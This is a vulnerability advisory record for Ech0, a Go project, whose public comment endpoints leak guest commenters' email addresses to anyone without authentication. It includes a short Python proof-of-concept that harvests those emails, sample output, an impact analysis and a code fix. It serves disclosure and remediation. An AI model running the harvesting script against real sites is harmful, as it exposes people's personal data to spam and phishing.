{"id":"CVE-2026-79660","aliases":["GHSA-rj4g-rqgh-rx9h","GO-2026-5626"],"title":"Ech0 comment model's Email field returned on public /api/comments endpoints","summary":"Ech0 comment model's Email field returned on public /api/comments endpoints","severity":"medium","cvss":5.3,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","vendor":"lin-snow","product":"github.com/lin-snow/Ech0","ecosystem":"go","affected":["github.com/lin-snow/Ech0 < 1.4.8-0.20260503034700-cb8d7a997dd8"],"patched":["github.com/lin-snow/Ech0 1.4.8-0.20260503034700-cb8d7a997dd8"],"published":"2026-05-07","updated":"2026-08-27","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-rj4g-rqgh-rx9h","references":[{"url":"https://github.com/lin-snow/Ech0/security/advisories/GHSA-rj4g-rqgh-rx9h"},{"url":"https://github.com/lin-snow/Ech0/commit/cb8d7a997dd8f573ef0e22e4e6b23b2b8ee92ebd"},{"url":"https://github.com/lin-snow/Ech0"}],"tags":["osv","go"],"epss":0.00241,"epssPercentile":0.15587,"ingestedAt":"2026-08-27T19:27:47.658Z","slug":"CVE-2026-79660","body":"## Overview\n\n## Summary\n\nThe `Comment` model serializes its `Email` field through the public comment-listing API. `internal/model/comment/comment.go:33` uses `json:\"email\"`, while adjacent PII fields (`IPHash`, `UserAgent`) correctly use `json:\"-\"`. The public endpoints `GET /api/comments?echo_id=X` and `GET /api/comments/public?limit=N` both live on `PublicRouterGroup` with no authentication. Alice retrieves every guest commenter's email address on the instance with a few unauthenticated HTTP calls.\n\n## Details\n\nThe Comment model at `internal/model/comment/comment.go:33`:\n\n```go\ntype Comment struct {\n    // ... \n    Email     string     `gorm:\"size:255;not null;index\" json:\"email\"`\n    IPHash    string     `gorm:\"size:128;index\"          json:\"-\"`\n    UserAgent string     `gorm:\"size:512\"                json:\"-\"`\n    // ...\n}\n```\n\nThe `json:\"-\"` on `IPHash` and `UserAgent` shows the developer's intent: hide server-side PII from API responses. The `Email` field missed the same tag. GORM materializes the full struct and the Gin handler returns it verbatim.\n\nRoutes at `internal/router/comment.go:20` and comment public-feed route:\n\n```go\nappRouterGroup.PublicRouterGroup.GET(\"/comments\", middleware.NoCache(), h.CommentHandler.ListCommentsByEchoID())\nappRouterGroup.PublicRouterGroup.GET(\"/comments/public\", middleware.NoCache(), h.CommentHandler.ListPublicComments())\n```\n\nBoth handlers call `ListPublicByEchoID` (service at `internal/service/comment/comment.go:329`) or `ListPublicComments` (service at `:340`), both of which return the slice of `Comment` structs to `ctx.JSON`. No DTO projection, no field stripping.\n\nThe email field is populated for every guest comment: the submission form requires an email address so the server can later send moderation or reply notifications. The UI does not display the email, so users assume it stays server-side.\n\nGHSA-m983-7426-5hrj (2026-03-22) closed a similar PII leak on `GET /api/allusers`, which exposed account-owner emails. This report covers a distinct endpoint (`/api/comments` and `/api/comments/public`) and a distinct data subject (guest commenters, not registered account owners).\n\n## Proof of Concept\n\nAnonymous caller harvests commenter emails on the default install:\n\n```python\nimport requests\nTARGET = \"http://localhost:8300\"\n\n# Any echo UUID from the public feed.\npub_id = requests.get(f\"{TARGET}/api/echo/page?page=1&pageSize=1\").json()[\"data\"][\"items\"][0][\"id\"]\n\n# No auth header. The response includes the raw email field.\nr = requests.get(f\"{TARGET}/api/comments\", params={\"echo_id\": pub_id})\nfor c in r.json()[\"data\"]:\n    print(f\"  nickname={c['nickname']!r}  email={c.get('email')!r}\")\n\n# The /public variant returns recent comments across every echo.\nr = requests.get(f\"{TARGET}/api/comments/public\", params={\"limit\": 100})\nemails = {c.get(\"email\") for c in r.json()[\"data\"] if c.get(\"email\")}\nprint(f\"harvested {len(emails)} unique emails from /comments/public\")\n```\n\nObserved on v4.5.6:\n\n```\nnickname='GuestHarvestMe'  email='leaked-harvest-target@example.com'\nharvested 1 unique emails from /comments/public\n```\n\nThe instance had one guest comment; its email returned in both endpoints. An instance with any commenter volume returns every address.\n\n## Impact\n\nAnonymous harvest of every guest commenter's email address across the instance. Email addresses submitted for moderation or reply notifications are treated as private by user expectation; any visitor pulls the full list with a short paginated loop against `/api/comments/public`. Privacy-regulation exposure follows:\n\n- **GDPR and CCPA.** Email is personal data. Exposing it to any internet visitor without consent is a notifiable incident under both regimes.\n- **Spam and phishing targeting.** Attackers map commenter emails to nicknames and per-echo topics, then send targeted phishing that references content the victim engaged with.\n- **Cross-instance aggregation.** A scraper against any public-facing Ech0 instance yields a curated list of people who comment on the topics the site covers.\n\nNo authentication required. No admin role required. The `/comments/public` endpoint returns cross-echo aggregated data, so one call covers the whole instance.\n\n## Recommended Fix\n\nChange the JSON tag on the Email field to match the adjacent PII fields:\n\n```go\nEmail string `gorm:\"size:255;not null;index\" json:\"-\"`\n```\n\nOr, if some authenticated view needs the email, introduce a `PublicComment` DTO that projects only non-sensitive fields:\n\n```go\ntype PublicComment struct {\n    ID        string    `json:\"id\"`\n    EchoID    string    `json:\"echo_id\"`\n    Nickname  string    `json:\"nickname\"`\n    Website   string    `json:\"website,omitempty\"`\n    Content   string    `json:\"content\"`\n    Status    string    `json:\"status\"`\n    Hot       bool      `json:\"hot\"`\n    Source    string    `json:\"source\"`\n    CreatedAt int64     `json:\"created_at\"`\n    UpdatedAt int64     `json:\"updated_at\"`\n}\n```\n\nProject the handler output through this DTO. Keep the raw `Comment` struct internal to the service layer.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*\n\n## Affected packages\n\n- `github.com/lin-snow/Ech0 < 1.4.8-0.20260503034700-cb8d7a997dd8`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `github.com/lin-snow/Ech0 1.4.8-0.20260503034700-cb8d7a997dd8`","depth":"sunlit","depthScore":29,"depthScoreParts":{"impact":29.2,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}